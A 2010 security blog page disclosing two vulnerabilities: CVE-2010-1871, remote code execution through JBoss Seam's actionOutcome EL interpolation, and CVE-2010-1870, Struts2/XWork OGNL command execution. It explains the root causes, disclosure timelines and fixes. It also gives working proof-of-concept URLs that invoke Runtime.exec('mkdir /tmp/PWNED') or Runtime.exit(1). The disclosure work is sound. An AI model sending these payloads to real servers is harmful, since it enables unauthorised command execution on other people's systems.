Wednesday, July 28, 2010

CVE-2010-1871: JBoss Seam Framework remote code execution

Update Mon Aug 2 2010: Turned out JBoss didn't release fix for the community version at seamframework.org, though fix has been committed to the svn.
Update Mon Aug 11 2010: 2.2.1CR2 is released fixing this vulnerability.

Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions. Having any sort of custom expression language in a web framework is always a sign of potential vulnerabilities (see CVE-2010-1870 for another example of expression language vulnerability), since framework developers will try to add support for that expression language to various components, and some of those components may in turn handle user-controlled inputs without developers realizing it.

JBoss EL
JBoss expression language provides all the normal features you'd expect:
  • Method calling:  #{hotelBooking.bookHotel(hotel)}
  • Property retrieval: #{person.name}
  • Projection (iteration): #{company.departments.{d|d.name}}
Variables referenced (e.g. hotelBookingpersoncompany) are resolved using various EL resolvers(extend javax.el.ELResolver), such as com.sun.faces.el.ImplicitObjectELResolver (use 'guest' username to view) or SeamELResolver. These resolvers let you reference server-side session object and it's attributes, request attributes and parameters in your JBoss EL statements. Once base object is resolved you can call arbitrary methods on that object. All JBoss EL statements are expected to come from the application's developer and not user, since it's possible to reach any other class and it's methods using java.lang.Class and reflection API. For example, we can obtain reference to the class representing java.lang.Runtime as follows (expressions is one of the base objects available by default, but any other object will do, e.g. request):

expressions.getClass().forName('java.lang.Runtime')

to get all of it's methods:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

to invoke 19th method in the array returned by getDeclaredMethods():

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke()

JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass null, you'll have to provide an instance of the class to invoke the method on to the invoke() call. you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of java.lang.Runtime which is returned by a static method at index 7:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null))


CVE-2010-1871: actionOutcome is remote code execution

After stepping through the sample booking app, I've come across org.jboss.seam.navigation.Pages.callAction() which takes value of the actionOutcome HTTP parameter and eventually passes it to JSF NavigationHandler's handleNavigation method (use 'guest' username with empty password to view). SeamNavigationHandler is Seam's implementation of JSF NavigationHandler and looking at its handleNavigation() you can see that if action outcome starts with / (checked by isOutcomeViewId() method) then it's passed to FacesManager.instance().interpolateAndRedirect() method which interpolates (executes) all JBoss EL expressions in actionOutcome URL's HTTP parameter values using Interpolator. Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}

browser will be redirected to:

/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14

in the request above we tell Seam that outcome of the action is at /pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to /pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular class are at which array index. 

To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the getDeclaredMethods() method:
1) public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
2) public static java.lang.Runtime java.lang.Runtime.getRuntime()

On my OS X, first method is at index 19 and second is at 7:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}
=>
/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21

and

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}
=>
/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24

Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around 24 methods in total).


Final PoC will look as follows:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}


upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:


/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31

the value of pwned parameter represent value returned by successful java.lang.Runtime.exec() call.


Timeline
July 19 - initial report.
July 22 - fix committed. Developers blacklisted # and { characters in actionOutcome.
July 27 - JBoss Seam team releases the fix for JBoss Enterprise Application Platform only. Note, however, that vulnerability has nothing to do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.

Friday, July 9, 2010

CVE-2010-1870: Struts2/XWork remote command execution

Update Tue Jul 13 2010: Added proof of concept
Update Wed July 14 2010: Added PoC for older version of Struts2/Xwork
Update Fri Aug 20 2010: Struts2 team finally released 2.2.1 on Aug 16th (2.5 months to release fixed version!).

Apache Struts team has announced uploaded but has not released, due to an unreasonably prolonged voting process, the 2.2.0 release of the Struts2 web framework which fixes vulnerability that I've reported to them on May 31st 2010. Apache Struts team is ridiculously slow in releasing the fixed version and all of my attempts to expedite the process have failed.

Introduction
Struts2 is Struts + WebWork. WebWork in turn uses XWork to invoke actions and call appropriate setters/getters based on HTTP parameter names, which is achieved by treating each HTTP parameter name as an OGNL statement. OGNL (Object Graph Navigation Language) is what turns:

user.address.city=Bishkek&user['favoriteDrink']=kumys

into

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

This is performed by the ParametersInterceptor, which calls ValueStack.setValue() with user-supplied HTTP parameters as arguments.
NOTE: If you are using XWork's ParametersInterceptor or operate with OGNL ValueStack in a similar way then you are vulnerable (ParametersInterceptor is on by default in struts-default.xml).

In addition to property getting/setting, OGNL supports many more features:
  • Method calling: foo()
  • Static method calling: @java.lang.System@exit(1)
  • Constructor calling: new MyClass()
  • Ability to work with context variables: #foo = new MyClass()
  • And more...
Since HTTP parameter names are OGNL statements, to prevent an attacker from calling arbitrary methods via HTTP parameters XWork has the following two variables guarding methods execution:
  • OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (set to true by default)
  • SecurityMemberAccess private field called 'allowStaticMethodAccess' (set to false by default)
OGNL Context variables
To make it easier for developer to access various frequently needed objects XWork provides several predefined context variables:
  • #application
  • #session
  • #request
  • #parameters
  • #attr
These variables represent various server-side objects, such as session map. To prevent attackers from tampering with server-side objects XWork's ParametersInterceptor disallowed # in parameter names. About a year ago I found a way to bypass that protection(XW-641) using Java's unicode String representation: \u0023. At the time I felt like the fix that was implemented (OGNL value stack clearing) was insufficient, but had not time to investigate this further. 

CVE-2010-1870
Earlier this year I finally got a chance to look at this again and found that in addition to the above mentioned context variables there were more:
  • #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.
  • #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution.
  • #root
  • #this
  • #_typeResolver
  • #_classResolver
  • #_traceEvaluations
  • #_lastEvaluation
  • #_keepLastEvaluation
You can probably see the problem already. Using XW-641 trick I was able to modify the values that were guarding Java methods execution and run arbitrary Java code:

#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')

Actual proof of concept had to use OGNL's expression evaluation when crafting HTTP request. PoC for this bug will be published on July 12 2010. To test whether your application is vulnerable you can use the following proof of concept, which will call java.lang.Runtime.getRuntime().exit(1):


http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1


Older versions of XWork didn't have the 'allowStaticMethodAccess' member so the following URL should achieve the same:




http://mydomain/MyStruts.action?(aaa)(('\u0023context[\'xwork.MethodAccessor.den
yMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1



Fixing CVE-2010-1870
Struts2 users must upgrade to the 2.2.0, which whitelists a set of characters that excludes characters required to exploit this vulnerability.


In cases where upgrade isn't possible you can use ParameterInterceptor's "excludeParams" parameter to whitelist the characters required for your application to operate correctly(usually A-z0-9_.'"[]) alternatively you can blacklist \()@ which are the characters required to exploit this bug.

Timeline
May 31st - email to security@struts.apache.org with vulnerability report.
June 4th - no response received, contacted developers again.
June 5th - had to find an XWork developer on IRC to look at this.
June 16th - Atlassian fixes vulnerability in its products. Atlassian and Struts developers worked together in coming up with the fix.
June 20th - 1-line fix commited
June 29th - Struts 2.2.0 release voting process started and is still going...